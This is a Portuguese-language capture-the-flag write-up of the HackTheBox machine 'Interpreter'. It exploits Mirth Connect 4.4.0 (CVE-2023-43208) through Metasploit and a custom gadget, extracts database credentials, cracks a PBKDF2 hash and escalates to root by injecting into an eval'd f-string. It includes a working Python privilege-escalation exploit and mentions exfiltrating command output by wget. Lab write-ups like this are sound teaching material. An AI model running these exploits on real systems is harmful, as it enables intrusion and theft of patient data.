Máquina Linux Medium onde o foothold explora uma desserialização XStream pre-auth no Mirth Connect 4.4.0 (CVE-2023-43208). A partir do service account, credenciais de banco de dados extraem e crackam a hash PBKDF2 do admin, pivotando para o user. A escalação para root abusa de um
eval()com f-string injection num script Flask que roda como root.
Recon
Port scan
rustscan -a interpreter.htb -- -sV
| Porta | Serviço | Versão |
|---|---|---|
| 22/tcp | ssh | OpenSSH 9.2p1 Debian 2+deb12u7 |
| 80/tcp | http | Jetty |
| 443/tcp | ssl/http | Jetty (CN mirth-connect) |
| 6661/tcp | unknown | MLLP listener (Mirth Connect) |
Quatro portas abertas. As duas portas HTTP servem o Mirth Connect Administrator, uma plataforma de integração healthcare da NextGen, e a 6661 é o listener MLLP do próprio Mirth. O certificado SSL tem CN mirth-connect.
Mirth Connect 4.4.0
A API REST expõe a versão sem autenticação. Enviei o GET /api/server/version pelo Burp Repeater — a resposta 4.4.0 (anterior à 4.4.1) torna o alvo vulnerável ao CVE-2023-43208:
curl -sk https://interpreter.htb/api/server/version -H "X-Requested-With: XMLHttpRequest"
Foothold
O Mirth Connect 4.4.0 é vulnerável ao CVE-2023-43208, uma falha de desserialização XStream no endpoint /api/users que permite execução de código remoto sem autenticação. O exploit envia um payload XML com uma cadeia de gadgets commons-collections4 que invoca Runtime.exec().
O metasploit confirma a vulnerabilidade:
msf> use exploit/multi/http/mirth_connect_cve_2023_43208
msf> set RHOSTS interpreter.htb
msf> set RPORT 443
msf> set SSL true
msf> check
Para uma shell funcional, reescrevi o gadget como um script Python standalone. Como Runtime.exec() não faz shell parsing, o comando é envolvido no truque sh -c $@|sh . echo <cmd>, e o output é exfiltrado por wget (o alvo não tem curl):
python3 exploit.py https://interpreter.htb "id"
Obtive shell como mirth (uid=103), service account do Mirth Connect.
Lateral Movement
Enumeration as mirth
O arquivo de configuração do Mirth Connect em /usr/local/mirthconnect/conf/mirth.properties contém credenciais do banco de dados MariaDB:
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!
User hash extraction
O banco de dados mc_bdd_prod contém as tabelas PERSON e PERSON_PASSWORD. O único usuário registrado é sedric:
mysql -u mirthdb -p'MirthPass123!' mc_bdd_prod -e "SELECT p.USERNAME, pp.PASSWORD FROM PERSON p JOIN PERSON_PASSWORD pp ON p.ID=pp.PERSON_ID;"
Hash analysis and cracking
A descompilação do Digester.class em mirth-crypto.jar confirma o formato: PBKDF2WithHmacSHA256, 600.000 iterações, salt de 8 bytes prepended ao hash de 32 bytes (40 bytes total em base64).
Conversão para o formato do john:
from base64 import b64decode, b64encode
raw = b64decode("u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==")
salt_b64 = b64encode(raw[:8]).decode().replace('+','.').replace('=','')
hash_b64 = b64encode(raw[8:]).decode().replace('+','.').replace('=','')
print(f"$pbkdf2-sha256$600000${salt_b64}${hash_b64}")
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=pbkdf2-hmac-sha256
Com a password crackeada (snowflake1), acessei via SSH como sedric e obtive a flag de user em /home/sedric/user.txt.
Privilege Escalation
notif.py analysis
A enumeração revela um processo Python rodando como root:
root 3570 /usr/bin/python3 /usr/local/bin/notif.py
Este script é um servidor Flask que escuta na porta 54321 (localhost only) e recebe XML de pacientes enviado pelo canal Mirth Connect. O arquivo tem permissões rwxr----- root:sedric, legível apenas por sedric.
A vulnerabilidade está na função template():
template = f"Patient {first} {last} ({gender}), ..."
return eval(f"f'''{template}'''")
Os campos do XML são inseridos no template string e depois avaliados com eval() como f-string. A validação por regex (^[a-zA-Z0-9._'"()\{\}=+/]+$) permite os caracteres {, }, (, ), +, . e aspas — suficientes para construir expressões Python arbitrárias.
Exploitation
O payload usa chr() concatenado com + para construir strings com espaços e caracteres especiais, contornando a regex:
import urllib.request, sys
cmd = sys.argv[1]
chr_chain = "+".join(f"chr({ord(c)})" for c in cmd)
payload = "{os.popen(" + chr_chain + ").read()}"
xml = f"""<patient>
<timestamp>20250919120000</timestamp>
<sender_app>TEST</sender_app>
<id>1234</id>
<firstname>{payload}</firstname>
<lastname>Doe</lastname>
<birth_date>01/01/1990</birth_date>
<gender>M</gender>
</patient>"""
req = urllib.request.Request("http://127.0.0.1:54321/addPatient",
data=xml.encode(), headers={"Content-Type": "text/plain"})
print(urllib.request.urlopen(req).read().decode())
python3 rce.py "id"
O id reflete dentro do registro de paciente que o notif.py formata (Patient uid=0(root) gid=0(root) groups=0(root) Doe (M), 36 years old...), confirmando execução como root. A flag sai em /root/root.txt.
Lessons Learned
- Versão exposta sem auth é o ponto de partida: o endpoint
/api/server/versiondo Mirth entrega a versão pre-auth — confirmar a versão exata antes de escolher o gadget evita disparar payloads errados. Runtime.exec()não é uma shell: gadgets que terminam emRuntime.exec(String)fazem split ingênuo por espaço. O truquesh -c $@|sh . echo <cmd>recupera o parsing de shell e foi o que destravou a exfiltração.- Credenciais de serviço levam a hashes de usuário: a senha da base no
mirth.propertiesnão dá shell, mas dá a hash PBKDF2 do operador — o pivô real é DB → hash → cracking, não a senha do serviço em si. - f-string +
eval()= RCE: validar input por allowlist de caracteres não fecha o buraco se a allowlist inclui{,},(,)e+—chr()reconstrói qualquer string eosjá está no namespace do script.
Impact
- O Mirth Connect roteia dados clínicos entre sistemas hospitalares; o comprometimento sem autenticação expõe diretamente as informações de pacientes (PHI) em trânsito — um vazamento de dados de saúde com notificação obrigatória sob LGPD/HIPAA.
- Com controle do hub e dos seus fluxos de integração, o atacante pode interceptar, alterar ou interromper mensagens clínicas entre sistemas, afetando a continuidade e a integridade do cuidado ao paciente.
- O acesso root consolida o domínio sobre uma peça crítica da infraestrutura de saúde, com exposição legal, financeira e reputacional para a organização.
Exploits
Os scripts usados estão em Programming/htb/interpreter:
exploit.py— CVE-2023-43208, gadget XStreamChainedTransformer→Runtime.exec()(adaptado do módulo Metasploit oficial)rce_exfil.sh— wrapper que executa comando via o foothold e exfiltra o output em base64 porwgetrce.py— privesc autoral: f-string injection nonotif.py, comchr()+chr()para burlar a regexhash_convert.py— conversão da hash PBKDF2 do Mirth para o formato dojohn